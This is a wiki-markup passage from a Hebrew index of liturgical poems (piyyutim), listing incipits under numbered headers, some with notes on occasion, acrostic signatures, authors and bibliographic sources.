'''[[אב ידעך|אב ידעך מנוער בחנתו בעשר בל עבור בראש תער]]'''.{{ש}}
==א-48==
'''[[אב לא חמל|אב לא חמל בן לא אמל גמולו לטוב יוגמל]]'''.{{ש}}
==א-49==
'''[[אב לא חס|אב לא חס על עין ימינו]]'''.{{ש}}
==א-50==
'''[[אב לבנים יודיע אל אמתיך]]'''.{{ש}}
==א-51==
'''[[אב לחכמים בבואו למות]]'''.{{ש}}
==א-52==
'''[[אב לחכמים משה בחור בנביאים משה]]'''.{{ש}}
==א-53==
'''[[אב לרחם ורב סלוח חוללתנו|אב לרחם ורב סלוח חוללתנו בני ברית קדש]]'''.{{ש}}
==א-54==
'''[[אב מראש בן זאת הפרשה]]'''.{{ש}}
==א-55==
'''[[אב נתן לחתנו כלה כלילת יופי]]'''.{{ש}}
==א-56==
'''[[אב סגני כהונה ולויה]]'''.{{ש}}
==א-57==
'''[[אב רחמים חונן עלי כל בריה]]'''.{{ש}}
==א-58==
'''[[אב רחמן היה מוחל עונות עמך]]'''.{{ש}}
==א-8985==
'''[[אב רחמן מושיע חוסים בשר ישע]]'''.{{ש}}

==א-59==
'''[[אב רחמן מלא רחמים חטאנו לפניך רחם עלינו]]'''.{{ש}} 
==א-60==
'''[[אב רחמן שוכן בתוך קרבי בך אבטחה]]'''.{{ש}} 
==א-61==
'''[[אב רם על כל רמים שור עמלי]]'''.{{ש}} 
==א-62==
'''[[אב שמעון יאקול יא כאלקי]]'''.{{ש}} 
=='''[[אבא שמעון|אב שמעון כון בעוני]]'''==
.{{ש}}
==א-63==
'''[[אב שמעון קאל קלבי ינשרח פי דכר רבי]]'''.{{ש}} 
==א-64==
'''[[אב ששון ישאב בתשעה בו ובחמשה עשר בו]]'''.{{ש}} 
==א-65==
'''[[אב תציל בת מפי בוזזיה]]'''.{{ש}} 
==א-66==
'''[[אבא אבא הב לן מטרא]]'''.{{ש}} 
==א-67==
'''[[אבא אבא מארי קדישא עילאה הא אתינא קמך ונפשאי מרירא]]'''.{{ש}} 
==א-68==
'''[[אבא חסאן תרומית נדיבים]]'''.{{ש}} 
==א-69==
'''[[אבא רחמנא ארים ימינך ואצמח פורקנך]]'''.{{ש}}
+'''[[אבאר בו כפי כח לאברם]]'''.{{ש}}
==א-70==
'''[[אבאר במלה מתוקנה]]'''.{{ש}}
==א-71==
'''[[אבאר דת שעשועים יום אוחילה לאל למצוא פדיום]]'''.{{ש}}
==א-72==
'''[[אבאר מצות סוכה ובהלכות ישנים אנדד]]'''.{{ש}}
==א-73==
'''[[אבאר קצת פלאי אלהים]]'''.{{ש}}
==א-74==
'''[[אבאר שם אדיר שמותיו נוראים]]'''.{{ש}}
==א-75==
'''[[אבאר תקף אל רם ונשא]]'''.{{ש}}
==א-76==
'''[[אבארה ברון פצחי יושר הלכות חג פסחי]]'''.{{ש}}
==א-77==
'''[[אבד הוד תמה|אבד הוד תמה הושמם אדרת]]'''.{{ש}}

==א-78==
'''[[אבד ושבר וכלם]]'''.{{ש}}
==א-79==
'''[[אבד הסיד מן הארץ]]'''.{{ש}}
==א-80==
'''[[אבדה אמונה מבני אדם ואין מהם בך אוהב]]'''.{{ש}}
==א-81==
'''[[אבדה האמונה ונגעלה]]'''.{{ש}}
==א-82==
'''[[אבדה התקוה]]'''.{{ש}}
==א-83==
'''[[אבדה ממנו אמונה אמונת תורת בוראנו]]'''.{{ש}}
+'''[[אבדה ספינו אמונה]]'''.{{ש}}
==א-84==
'''[[אבדה עצה ודיצה]]'''.{{ש}}
אבד הוד תמה{{ש}}
==א-85==
'''[[אבדו חכמי גזית|אבדו חכמי גזית יושבי גנים]]'''.{{ש}}
==א-8986==
'''[[אבא אל מזבח אלהים שמחת גילי]]'''
==א-8987==
'''[[אבוא בגבורות ה' אלהים אזכיר צדקתך לבדך אהים]]'''

==א-106==
'''[[אבוא בחיל להתיצבה|אבוא בחיל להתיצבה במעמד פני תיבה]]'''.{{ש}}
==א-8988==
'''[[אבא בתחנה לפני אל בכתר שירה מכתר]]'''

==א-118==
'''[[אבוא היום בתפילה|אבוא היום בתפילה אל מקדשי אל]]'''.{{ש}}
==א-120==
'''[[אבוא כעני שואל בפתח|אבוא כעני שואל על פתח]]'''. – למוסף יוכ&quot;פ. * [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#לוח|לוח]] ה 83.{{ש}}

==א-127==
'''[[אבואה ברשיון מחוללי|אבואה ברשיון מחוללי אף מרשיון קהלי]]'''.{{ש}}
==א-128==
'''[[אבואה בתחנון|אבואה בתחנון פני רחום וחנון]]'''. – סליחה ד' עשי&quot;ת – סי' א&quot;ב יוספא בירבי בער זצ&quot;ל. הערה: [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338142 324] מיחסו לר' יוסף בן ברוך אבל ר&quot;ת של הפיוט הם כמו שנסמן לעיל. * סליחה פראג 1613 סי' 80.{{ש}}

==א-129==
'''[[אבואה ואשתחוה ואכרעה|אבואה ואשתחוה ואכרעה בקש רחמים בעד נהלאה]]'''.{{ש}}
==א-147==
'''[[אבותי כי בטחו|אבותי כי בטחו בשם אלהי צורי גדלו והצליחו וגם עשו פרי]]'''.{{ש}}

==א-148==
'''[[אבותי כרבת ריבם|אבותי כרבת ריבם אבדת כל מחריבם]]'''.{{ש}}
==א-178==
'''[[אבי עבור על רשעי|אבי עבור על רשעי התדרוש לעון בצעי]]'''.{{ש}}

אבי עבור על רשעי{{ש}}

אביוני עמך{{ש}}

אבינו מלך אנקת עמך{{ש}}

אבינו מלכנו אבינו אתה{{ש}}

אביעה כתם עווני{{ש}}

אביר הגביר{{ש}}

אביר ישראל{{ש}}

אבכה ועל שוד זבולי{{ש}}

אבל אנחנו חטאים ואשמים{{ש}}

אבל אעורר{{ש}}

אבל בחטאינו{{ש}}

אבל במר נפש מתענים{{ש}}

אבלה נפשי וחשך תארי{{ש}}

אבן הראשה{{ש}}

אבן מעמסה{{ש}}

אבן שתיה{{ש}}

אבני אקדח{{ש}}

אבני יקר{{ש}}

אברהם היה אחד{{ש}}

אברך את שם ה' הנעלם מכל נמצא{{ש}}

אגגי בהעמיקו{{ש}}

אגדלך{{ש}}

אגורה באהלך עולמים{{ש}}

אגיד נפלאותיך איום ונורא{{ש}}

אגידה ואדברה עצמו מספר{{ש}}

אגיל ואשמח{{ש}}

אגיל ואשמח בשמחת תורה{{ש}}

אדאג מחטאתי{{ש}}

אדבר מישרים{{ש}}

==א-464==
'''[[אדברה בצר רוחי]]'''.{{ש}}
==א-465==
'''[[אדברה בצר רוחי אליך מלכי וקדושי]]'''.{{ש}}
==א-466==
'''[[אדברה ברשיון מביני]]'''.{{ש}}
==א-467==
'''[[אדברה ואעירה בירחי קדם אזכירה]]'''.{{ש}}
==א-468==
'''[[אדברה וירוח לי]]'''.{{ש}}
==א-469==
'''[[אדברה וירוח לי אשר ספרו לנו אבות מפי המגיד]]'''.{{ש}}
==א-470==
'''[[אדברה וירוח לי כי רוחי הציקתני על מרירות נפשי]]'''.{{ש}}
==א-471==
'''[[אדברה וירווח לי פני סולחי ומוחלי|אדברה וירוח לי פני סולחי ומוחלי]]'''.{{ש}}
==א-472==
'''[[אדברה נא שלום בך ירושלם החביבה]]'''.{{ש}}
==א-473==
'''[[אדברה תחנונים כרש|אדברה תחנונים כרש ואבכה בענוי נפש קהלי אבכה]]'''.{{ש}}
==א-474==
'''[[אדרה עד בית אלהים בלב נשבר מי יתנני במדבר]]'''.{{ש}}
==א-475==
'''[[אד&quot;ו דחה מראש]]'''.{{ש}}
==א-476==
'''[[אדום אמרה אין קץ וציון קוה לקץ]]'''.{{ש}}
==א-477==
'''[[אדום אשר מלך יאמר לפזורי קהלך]]'''.{{ש}}
==א-478==
'''[[אדום וצח יושב שמים נורא נצח]]'''.{{ש}}
==א-479==
'''[[אדום לה' לו אתחולל ואדום]]'''.{{ש}}
==א-480==
'''[[אדום עקר]]'''.{{ש}}
==א-481==
'''[[אדון אביר במעשיו כביר|אדון אביר במעשיו כביר מי אל כמוך]]'''.{{ש}}
==א-482==
'''[[אדון אדיר הכל לך לך]]'''.{{ש}}
==א-483==
'''[[אדון אל תשכח צעקת אריאל בנין כוננו ידיך]]'''.{{ש}}
+'''[[אדון אלהים צבאות]]'''.{{ש}}
+'''[[אמרתך צרופה ועדותיך צדק#שבתי וראה|אדון אם מעשים אין בנו]]'''.{{ש}}
==א-484==
'''[[אדון אימנני|אדון אמנני אצלו שכנני]]'''.{{ש}}
==א-485==
'''[[אדון אמץ ראובן בניסן וטלה]]'''.{{ש}}
==א-486==
'''[[אדון אצלו אמנני באהב שעשועים]]'''.{{ש}}
==א-487==
'''[[אדון אשר בין היצור נעבד תשוב תחייני]]'''.{{ש}}
==א-488==
'''[[אדון אשר יצוריו יצר והפליאם בראם מאין]]'''.{{ש}}
==א-489==
'''[[אדון אשר לו תאות מלוכהגדול ורם על כל ברכה]]'''.{{ש}}
==א-490==
'''[[אדון אשר צדקתו לכל היצור נודעה]]'''.{{ש}}
==א-491==
'''[[אדון אשר רוכב בגאוה שחק]]'''.{{ש}}
==א-492==
'''[[אדון בינה הגיגנו|אדון בינה הגיגנו אזון שיחנו בשאגנו]]'''.{{ש}}
==א-493==
'''[[אדון בכתר גבורת יסודך תרצה צעקתנו]]'''.{{ש}}
==א-494==
'''[[אדון בעוזו יוצר אורה והוא בורא חשכה]]'''.{{ש}}
==א-495==
'''[[אדון בעוזו יוצרי הוא נעלה על כל ברכה]]'''.{{ש}}
==א-496==
'''[[אדון בפקדך|אדון בפקדך אנוש לבקרים]]'''.{{ש}}
==א-497==
'''[[אדון בפקדך פנקסי לבקר]]'''.{{ש}}
==א-498==
'''[[אדון בשפטך|אדון בשפטך אנוש רמה תזכור ברוגז חנות רחם]]'''.{{ש}}
==א-499==
'''[[אדון דין אם ידוקדק|אדון דין אם ידקדק בחקר פועל אם יבדק]]'''.{{ש}}
==א-500==
'''[[אדון האדונים בוחן לבבות]]'''.{{ש}}
==א-501==
'''[[אדון האדונים מעותי סלח]]'''.{{ש}}
==א-502==
'''[[אדון האדונים סנה שוכן ונשא ורם לקול נגש נענה]]'''.{{ש}}
==א-503==
'''[[אדון הבט וראה עמל עמך בארץ צר]]'''.{{ש}}
==א-504==
'''[[אדון הביטה וראה את אנחותינו]]'''.{{ש}}
==א-505==
'''[[אדון הביטה ושמע את אנחותינו הביטה וראה את בשתינו]]'''.{{ש}}
==א-506==
'''[[אדון הביטה משמיך בעניים מבקשים שמך]]'''.{{ש}}
==א-507==
'''[[אדון הדרש לעם דורשיך לא תתפרש מנן ואל נפרוש ממך]]'''.{{ש}}
==א-508==
'''[[אדון הזן את העולם]]'''.{{ש}}
==א-509==
'''[[אדון היושב על חוג הארץ נאדר בכח]]'''.{{ש}}

אדון הכל{{ש}}

אדון המושיע{{ש}}

אדון הסליחות{{ש}}

אדון העולמים{{ש}}

אדון יחיד יסד{{ש}}

אדון מועד כתקח{{ש}}

אדון משפט בקרבך{{ש}}

אדון עולם{{ש}}

אדון עולם{{ש}}

אדון עולם אקו לך{{ש}}

אדון צור ישעי{{ש}}

אדוני האדונים השקיפה ממעונים{{ש}}

אדיר איום ונורא{{ש}}

אדיר במלוכה{{ש}}

אדיר דר מתוחים{{ש}}

אדיר הוא{{ש}}

אדיר ונאה בקודש{{ש}}

אדיר ונאור בורא דוק וחלד{{ש}}

אדיר יבנה ביתי{{ש}}

אדיר כבודו{{ש}}

אדיר לא ינום{{ש}}

אדירי איומה{{ש}}

אדם איך יזכה{{ש}}

אדם בקום עלינו{{ש}}

אדם ובהמה{{ש}}

אדמה מארר{{ש}}

ה' אבינו אתה{{ש}}

ה' אדונינו (תחינה){{ש}}

ה' אודך בכל לבבי{{ש}}

ה' אויב גבר{{ש}}

ה' איה חסדיך הראשונים{{ש}}

ה' אלהא את אמרת לכנישתא{{ש}}

ה' אלהא דכל דמטמר{{ש}}

ה' אלהא דשכינתיה בשמי נהורי{{ש}}

ה' אלהי אברהם יצחק וישראל{{ש}}

ה' אלהי הצבאות יושב הכרובים{{ש}}

ה' אלהי הצבאות נורא בעליונים{{ש}}

ה' אלהי הצבאות צג בין ההדסים{{ש}}

ה' אלהי ישועתי{{ש}}

ה' אלהי ישראל צדיק אתה{{ש}}

ה' אלהי רבת צררוני מנעורי{{ש}}

ה' אלהים מושיב יחידים{{ש}}

אדני אלהים צבאות אתה החלות{{ש}}

ה' אליך אזעק{{ש}}

ה' אליך כסיתי{{ש}}

ה' אליך נשאתי את עיני{{ש}}

ה' אם גדל עווני{{ש}}

ה' אם מאוס מאסתנו{{ש}}

ה' אנחתנו גדלה{{ש}}

ה' אני הגבר ראה שבר{{ש}}

ה' אפפונו יגונים{{ש}}

ה' ארכו שני{{ש}}

ה' את הוא אלהא דשרי ברום רקיעיא{{ש}}

ה' את הוא אלהא מלך{{ש}}

ה' את מפעליך אזכור{{ש}}

ה' בקול שופר{{ש}}

ה' בקר אערך לך{{ש}}

ה' בקר תשמע קולי{{ש}}

ה' דאבה רוחי{{ש}}

ה' דאגה שברה לבי{{ש}}

ה' דבידיה אסו{{ש}}

ה' דכאונו הממונו{{ש}}

ה' דל כבודנו{{ש}}

ה' דלו עיני{{ש}}

ה' דסגיאין רחמוהי{{ש}}

ה' דקריב לכל מאן דקרי ליה{{ש}}

ה' זעקתי בחבלי{{ש}}

ה' זעקתי בצירי{{ש}}

ה' זרה עם קדש{{ש}}

ה' חננו והקימנו{{ש}}

ה' חסד ואמת יקדמו פניך{{ש}}

ה' יבואונו רחמיך{{ש}}

ה' יגוני קראוני אל אבל{{ש}}

ה' יגענו וסבלנו צרות{{ש}}

ה' ידענו מעלנו{{ש}}

ה' יום לך אערוך תחינה{{ש}}

ה' יונתך שבעה קלון{{ש}}

ה' יושב שוכן מעוני{{ש}}

ה' יחיד{{ש}}

ה' ייאשוני מרחמיך{{ש}}

ה' ימין עוזך הרם{{ש}}

ה' יריבי תריב{{ש}}

ה' ישועה צוה{{ש}}

ה' לגזע הימן{{ש}}

ה' למה תביט בוגדים{{ש}}

ה' למה תהיה{{ש}}

אדני מעון אתה{{ש}}

אדני נגדך כל תאותי{{ש}}

ה' נגרו דמעי{{ש}}

ה' נזלו עיני{{ש}}

ה' נלכד במוקש{{ש}}

ה' נפלאות עשית{{ש}}

ה' נתתנו לשמה{{ש}}

ה' עד מתי תעשן חמתך{{ש}}

ה' צור ישראל{{ש}}

ה' רב העליליה{{ש}}

ה' רוח רחמים השב{{ש}}

ה' ריבה את יריבי{{ש}}

ה' שארית פליטת אריאל{{ש}}

ה' שדודים נדודים{{ש}}

ה' שובה ממרומיך{{ש}}

ה' שומרי לביתך נאוה{{ש}}

ה' שועת עמך הקשיבה{{ש}}

ה' שטופה חטופה{{ש}}

אדני שמעה אדני סלחה{{ש}}

ה' שמעתי ונרגזתי{{ש}}

ה' שעה נודד מקנו{{ש}}

ה' שעה עדתך{{ש}}

ה' שעה עם נדכה{{ש}}

אדעה כי אין זולתך לגאול{{ש}}

אדפוק בצהרים פתח{{ש}}

אדר נזלי ישע תזיל להמוני{{ש}}

אדרת חזקים{{ש}}

אדרת תלבושת{{ש}}

אהבו את ה'{{ש}}

==א-1238==
'''[[אהבני מנוער|אהבני מנער צור מושיב יחידים]]'''. – זולת לפסח – סי' יוסף בר יצחק [אבן אביתור]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338003 185].{{ש}}
(*) [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-איטליה|פליישר-איטליה]] 159.{{ש}}

אהבת אברהם ברכה תשית{{ש}}

אהבת הדסה{{ש}}

אהבת עזוז{{ש}}

אהבת צדק ותשנא רשע{{ש}}

אהוב מהר המור{{ש}}

אהוב נגלה על הר סיני{{ש}}

אהוביך אהבוך{{ש}}

אהובת נוער באבות משולשת{{ש}}

אהודה בקרב נוחלי מוסר{{ש}}

אהל שכנת באדם{{ש}}

אהלי אני עבטתי{{ש}}

אהלי אשר תאבת{{ש}}

אהלל בצלצלי שמע{{ש}}

אהללה אלהי אשירה עזו{{ש}}

אהללך בקול רם{{ש}}

אהלת מתוחים{{ש}}

אודה אל חי שמך{{ש}}

אודה יוצר{{ש}}

אודה לאלי{{ש}}

אודה לך חזקי נצח{{ש}}

אודה עלי חטאתי{{ש}}

אודה עלי פשעי{{ש}}

אודך בקול ערב{{ש}}

אודך ה' כי אנפת בי{{ש}}

אודך כי אנפת{{ש}}

אודך כי עניתני וחייתני{{ש}}

אוהבי ה' זרע עבדיו{{ש}}

אוחזי בידם{{ש}}

אוחיל יום יום אשתאה{{ש}}

אוחילה לאל{{ש}}

אוי כי אוסרתי{{ש}}

אוי כי ירד אש{{ש}}

אוי כי מחלוקת{{ש}}

אוי לי על גלות השכינה{{ש}}

אויל כהכניס תרף בהיכל{{ש}}

אוילי המתעה{{ש}}

אוילים מדרך פשעם{{ש}}

אוימתי בחיל כיפור{{ש}}

אויתיך קויתיך מארץ מרחקים{{ש}}

אום אני חומה{{ש}}

אום אשר בך דבוקה{{ש}}

אום בך שעונה{{ש}}

אום בלי קשר אסורה{{ש}}

אום ברה כחמה{{ש}}

אום כאישון ננצרת{{ש}}

אום נצורה{{ש}}

אום קרואה חבצלת השרון{{ש}}

אומן אמונים יכון{{ש}}

אומן ישעך בא{{ש}}
==א-1873==
'''[[אומץ דר חזקים|אומץ דר חזקים אבאר לפי פסוקים]]'''. — יוצר שבת שלישי אחר הפסח —  סי' א&quot;ב (כפול), שלמה (שש פעמים, אחר אותיות ד',ח', ל,' ע', ר', ת') הקטן (אחר חתימת הא&quot;ב) [שלמה הבבלי]. * אוצר התפלות ח&quot;ב 260, ארנהיים 239, דרך חיים ח&quot;ד 119, כל בו ח&quot;ד 311, ע&quot;י 735, פירסט 109, שער השמים ח&quot;ב 105, צ 103.{{ש}}

אומץ יוסיף טהור ידים{{ש}}

אומץ קצות דרכיך{{ש}}

אומצו בתופף בשתים יעופף{{ש}}

אומר אף אני{{ש}}

אומרים לאדרך{{ש}}

אומרת אני מעשי למלך{{ש}}

אוני פטרי רחמתים{{ש}}

אופד מאז{{ש}}

אופל אלמנה תאיר{{ש}}

אופל המוני{{ש}}

אופן אחד בארץ{{ש}}

אור הגנוז בלובן המחשוף{{ש}}

אור זרוע זורח כבודו{{ש}}

אור ישע מאושרים{{ש}}

אור ישראל וקדושו{{ש}}

אור ישראל וקדושו מעמו שואל{{ש}}

אור ישראל קדושי{{ש}}

אור לשביעי גש{{ש}}

אור עולם קראו{{ש}}

אור עט אדרת{{ש}}

אור עליון{{ש}}

אור צח ופשוט{{ש}}

אורות מאפל הזריח מהודו{{ש}}

אורח זו אלך{{ש}}

אורח חיים מוסר תוכחת{{ש}}

אורח צדקה{{ש}}

אורחות אראלים{{ש}}

אורי וישעי על הים נגלה{{ש}}

אורך ואמיתך שלח{{ש}}

אורך תזריח לחשוכה{{ש}}

אות ברית ישראל{{ש}}

אות ברית שלשתי{{ש}}

אות בריתות שלש עשרה{{ש}}

אות זה החדש{{ש}}

אותותיך ראינו{{ש}}

אותך אדרוש ואליך אתודע{{ש}}

אותך אדרוש ולשמך איחל{{ש}}

אותך כל היום קיוינו{{ש}}

אז בבוא יום פקודת גיא המחזה{{ש}}

אז בבית שביינו{{ש}}

==א-2096==
'''[[אז בהיות כלה|אז בהיות כלה דרה בבית גרות]]'''. – זולת לחתן – סי' אמתי הקטן יחיה הרבה בתורה חזק [בן שפטיה]. * [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#רומניא|רומניא]] ח&quot;ב ב [126:] [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#רומניא א|רומניא א]] (רסד); [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#רומניא ב|רומניא ב]] (תמ&quot;ח) [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337985 167] [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=50&amp;hilite= 46].{{ש}}

אז בהלוך ירמיהו{{ש}}

אז בהר מור{{ש}}

אז בחטאינו{{ש}}

אז ביום כיפור סליחה הורית{{ש}}

אז במלאת ספק{{ש}}

אז בעזבי מקרא דת{{ש}}

אז בקום הצר{{ש}}

אז בקשוב עניו{{ש}}

אז טרם נמתחו{{ש}}

אז ירנן{{ש}}

אז כארשת בתולה{{ש}}

אז כגולגל שעבוד הורים{{ש}}

אז כל בריות{{ש}}

אז כעיני עבדים{{ש}}

==א-2146==
'''[[אז לפנות ערב|אז לפנות ערב דפקנו הומים על שערי מלך]]'''. – סליחה לנעילה – סי' א&quot;ב (עד אות עי&quot;ן והשאר בלי סי'). *[[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#א סב|אסב]] [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=727 362] היידנהיים, פיזרו, [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#סליחות-פלאס|סליחות-פלאס]] [https://books.google.co.il/books?id=3F49AAAAcAAJ&amp;hl=iw&amp;pg=PP1#v=onepage&amp;q&amp;f=false 135].{{ש}}

אז מאז זמות בכל פועל{{ש}}

==א-2152==
'''[[אז מלפני בראשית#אז מלפני בראשית אבות ובנים השית|אז מלפני בראשית אבות ובנים השית]]'''. – חלק ט&quot;ו (2) מן הקרובה: &quot;[[שושן עמק]]&quot; לפי מנהג פולין. * [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=37&amp;hilite= 33].{{ש}}

==א-2153==
'''[[אז מלפני בראשית#אז מלפני בראשית דת וכס השית|אז מלפני בראשית דת וכס השית]]'''. – חלק ט&quot;ו, (1) מן הקרובה: &quot;[[שושן עמק]]&quot; לפי מנהג פולין. * נמצא ג&quot;כ בפני עצמו ב[[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#סליחות-פלאס|סליחות-פלאס]] [https://books.google.co.il/books?id=3F49AAAAcAAJ&amp;hl=iw&amp;pg=PP1#v=onepage&amp;q&amp;f=false 133]: [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337874 56] [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=37&amp;hilite= 33]. הערה: ווינשע, די ליידען דעס מעססיאס, לייפציג 1870 עמ' 106.

==א-2154==
'''[[אז מלפני בראשית#אז מלפני בראשית נוה וינון השית|אז מלפני בראשית נוה וינון השית]]'''. – חלק ט&quot;ז (1) מן הקרובה: &quot;[[שושן עמק]]&quot; לפי מנהג פולין. * [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=37&amp;hilite= 33].

==א-2155==
'''[[אז מלפני בראשית#אז מלפני בראשית שבעה אלה השית|אז מלפני בראשית שבעה אלה השית]]'''. – חלק ט&quot;ז (2) מן הקרובה: &quot;[[שושן עמק]]&quot; לפי מנהג פולין. * [[אוצר_השירה_והפיוט/מפתח_המקורות/מקורות_עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=37&amp;hilite= 33].

אז מרחם אמי{{ש}}

אז קשתי וחרבי{{ש}}

אז שש מאות{{ש}}

אז תפיל בנעימים חבלך{{ש}}

אזהרות אבן גבירול{{ש}}

אזהרות לרס&quot;ג{{ש}}

אזהרת ראשית{{ש}}

אזון שלש עשרה מדות{{ש}}

אזון תחן והסכת עתירה{{ש}}

אזור נקמות{{ש}}

אזורי אימה{{ש}}

אזי בבגדי אמרי דר מעוני{{ש}}

אזכור מעללי יה{{ש}}

אזכור מקדם פלאי אל{{ש}}

אזכיר גבורות אלוה{{ש}}

אזכיר סלה זכרון מעשים{{ש}}

אזכיר צדקתך{{ש}}

אזכיר רהב ובבל{{ש}}

אזכירה סדר עבודה{{ש}}

אזכר סלה לשם פה לאדם{{ש}}

אזכרה אלהים ואהמיה{{ש}}

אזכרה אלהים נגינתי בלילה{{ש}}

אזכרה יום מותי{{ש}}

אזכרה מצוק{{ש}}

אזכרה מקדם פלאך (זולת){{ש}}

אזכרה נגינותי{{ש}}

אזכרה רחמיך{{ש}}

אזכרה שנות עולמים{{ש}}

==א-2304==
'''[[אזכרך דודי|אזכרך דודי מארץ ירדן וחרמונים]]'''. זולת —סי' א&quot;ב, משלם [בן קלונימוס]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סאלוניקי|א סלוניקי]] [https://hebrewbooks.org/pdfpager.aspx?req=11767&amp;st=&amp;pgnum=48 *] (זולת בין ראש חדש אייר לשבועות); [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=238 118], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1337928 110] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=285 277].{{ש}}

אזלת יוכבד{{ש}}

אזמר בשבחין{{ש}}

אזנו יצורי אלי{{ש}}

אזנך הטה{{ש}}

אזעק אל אלהים קולי{{ש}}

אזרח ממזרח העירות{{ש}}

אזרחי העיר ממזרח{{ש}}

אזרחי מעבר הנהר{{ש}}

אזרת עוז מלפנים{{ש}}

אחד גדל כח{{ש}}

אחד יחיד ומיוחד אל{{ש}}

אחד מי יודע{{ש}}

אחור וקדם צרת{{ש}}

אחות אשר לך כספת{{ש}}

אחות קטנה{{ש}}

אחזו אלים פני כסא{{ש}}

אחזיק נא לי{{ש}}

אחי מאין אתם{{ש}}

אחי שאו משאת{{ש}}

אחלה את פני ה'{{ש}}

אחלי יכונו דרכי{{ש}}

אחרה עת מועד{{ש}}

אחרי נמכר (זולת){{ש}}

אחריש ואתאפק{{ש}}

אחשבה לדעת עמל ודברים יגעים{{ש}}

אחת שאלתי פליאה חזות{{ש}}

אטיף ארש מילולי{{ש}}

אטתי מטתי{{ש}}

אי גבורתך ימין אל... בא במסורת{{ש}}

אי גבורתך ימין אל... בערה בי{{ש}}

אי זה מקום בינה{{ש}}

אי כה אומר{{ש}}

אי פתרוס בעברך{{ש}}

איה חסדיך הראשונים{{ש}}

איה כל נפלאותיך{{ש}}

איה קנאתך וגבורותיך{{ש}}

איום ונורא צום העשור{{ש}}

איומה בהר המור{{ש}}

איומה בחר{{ש}}

איומה נחבסת ומופרכת{{ש}}

איומתי יונה יעלת חן{{ש}}

==א-2717==
'''[[איומתי שמחי ועלזי|איומתי שמחי ועלזי כי בא עת הדרך]]'''. — מאורה לשבת ב אחר הפסח — סי' שמואל כהן * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=659 258], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 232, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 309 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=340 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 106, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#קה&quot;פ|קה&quot;פ]] [https://hebrewbooks.org/pdfpager.aspx?req=34863&amp;st=&amp;pgnum=34 48], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=210 104], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338112 294].{{ש}}

איומתי תעורר הישנים{{ש}}

איומתך סודרת קילוסך במקהלות{{ש}}

איחד צורי ברוב הודאות{{ש}}

איחד שם שוכן תרשישים{{ש}}

איילת חן{{ש}}

איין ציקליין{{ש}}

איך אוכל לבוא עדיך{{ש}}

איך אפתח פי{{ש}}

איך אשא ראש{{ש}}

איך זרים אכזרים{{ש}}

איך ידידות נפש{{ש}}

איך יעמוד לבבי{{ש}}

איך לזמר הגיון{{ש}}
==א-2817==
